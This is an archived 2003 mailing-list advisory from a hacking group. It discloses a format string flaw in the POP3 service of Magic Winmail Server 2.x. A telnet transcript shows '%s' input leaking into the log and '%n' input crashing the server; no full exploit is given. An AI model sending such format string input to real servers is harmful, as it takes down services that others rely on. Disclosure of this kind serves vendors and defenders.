Magic Winmail Server v.2.*: format string

From: D4rkGr3y (grey_1999at_private)
Date: Sat May 24 2003 - 15:33:53 PDT

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    -----BEGIN PGP SIGNED MESSAGE-----
    
    ################################################################*
    #          Damage Hacking Group security advisory
    #                     www.dhgroup.org
    ################################################################*
    #Product: Magic Winmail Server
    #Auth: AMAX Information Technologies Inc. [www.magicwinmail.net]
    #Vulnerable versions: v.2.* (founded in 2.3)
    #Vulnerability: format string
    ################################################################*
    
    #Overview#------------------------------------------------------#
    Magic Winmail Server is a professional and easy-use mail server
    software, supporting SMTP,POP3,WebMail,anti-virus,multiple
    domains,SMTP authentication,remote control, spam filter,user
    and domain alias, quotas, mail group, mail route. Magic Winmail
    can serve not only as LAN mail server, Internet Mail server,
    but also as mail server or gateway switching in with ISDN, xDSL,
    Cable Modem.
    
    #Problem#-------------------------------------------------------#
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\>telnet 127.0.0.1 110
    +OK alpha Magic Winmail Server 2.3(Build 0402) POP3 ready
    user %s
    +OK
    pass %s
    - -ERR authorization failed
    
    
    Connection to host lost.
    
    C:\>type Progra~1\magicw~1\server\logs\pop3.log
    2105/Y-19:48:50   2716 Connect from 127.0.0.1
    2105/Y-19:48:57   1336 ?-???? not exist
    
    C:\>                   ^^^^^^
                             %s
    #########now let's kill it
    
    C:\>telnet 127.0.0.1 110
    +OK alpha Magic Winmail Server 2.3(Build 0402) POP3 ready
    user %n
    +OK
    pass %n
    - -ERR authorization failed
    
    
    Connection to host lost.
    
    C:\>telnet 127.0.0.1 110
    Connecting To 127.0.0.1...Could not open connection to the host,
    on port 110. No connection could be made because the target
    machine actively refused it.
    
    C:\>
    
    #Exploit#--------------------------------------------------------#
    none
    
    #wow#------------------------------------------------------------#
    %$#@ www.dhgroup.org -=> opened English version! Come on in :)
    
    #eof
    
    Best regards               www.dhgroup.org
      D4rkGr3y                    icq 540981
    
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    =t1jb
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    This archive was generated by hypermail 2b30 : Fri May 23 2003 - 08:58:17 PDT